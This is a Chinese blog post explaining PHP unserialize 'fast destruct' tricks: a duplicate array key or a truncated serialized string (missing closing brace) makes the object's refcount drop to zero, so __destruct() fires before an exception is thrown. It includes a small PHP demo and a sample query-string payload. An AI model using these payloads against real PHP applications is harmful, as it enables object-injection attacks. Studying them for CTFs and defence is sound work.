unserialize()读到第一个条目i:1;O:1:”A”:0:{},会创建一个A对象实例(内部产生一个zval/object),把它放到数组键1的槽上,对象此时的refcount是1(被数组此槽引用)

继续读到第二个条目时,发现又是键1,值为NULL。反序列化实现会被数组中键1的值替换为NULL,替换过程中原来数组槽对A对象得到引用被移除:对象的refcount从1变为0,就会销毁对象触发__destruct()

image-20260319202428356

所以只要满足两个键是相同的,就会进行覆盖,数组对原对象的引用就会被移除,refcount就会变为0,就会直接触发__destruct()方法

流被截断或格式错误

直接再反序列化一个数组后,将最后的花括号}删去也可以绕过抛出异常的情况

1
2
3
4
5
6
7
8
9
10
<?php

class A {}

$a = array(new A,NULL);
$a = serialize($a);
echo "原本的字符串:".$a."\n";
$b = substr($a, 0, -1);
echo "移除花括号后:".$b;
?>

image-20260319202432111

1
?1=a:2:{i:0;O:1:"A":0:{}i:1;N;

image-20260319202437164

  • unserialize()读取a:2:{,准备解析一个长度为2的数组(开始分配数组结构/临时容器)
  • 解析第一个条目i:0;O:1:”A”:0:{},创建A对象实例(内部会分配对象zval),并把它赋到数组槽0
  • 解析第二个条目i:1;N;,在数组槽1放入NULL(或空字符串等),不会影响槽0
  • 继续读取,发现流已结束或后续语法不完整(期待}来结束数组,但是缺少了}),于是你unserialize()报错(比如抛出一个PHPwarning/notice,并返回false)
  • 在返回false之前,运行时要清理先前分配的临时结构(数组与其包含的元素)。清理动作会释放数组槽里所有zval,数组槽0的对象引用被释放,此时refcount变为0,所以PHP会立即销毁对象并调用A::__destruct()

php反序列化
https://colourful228.github.io/2026/03/19/php反序列化/
作者
Colourful
发布于
2026年3月19日
更新于
2026年3月19日
许可协议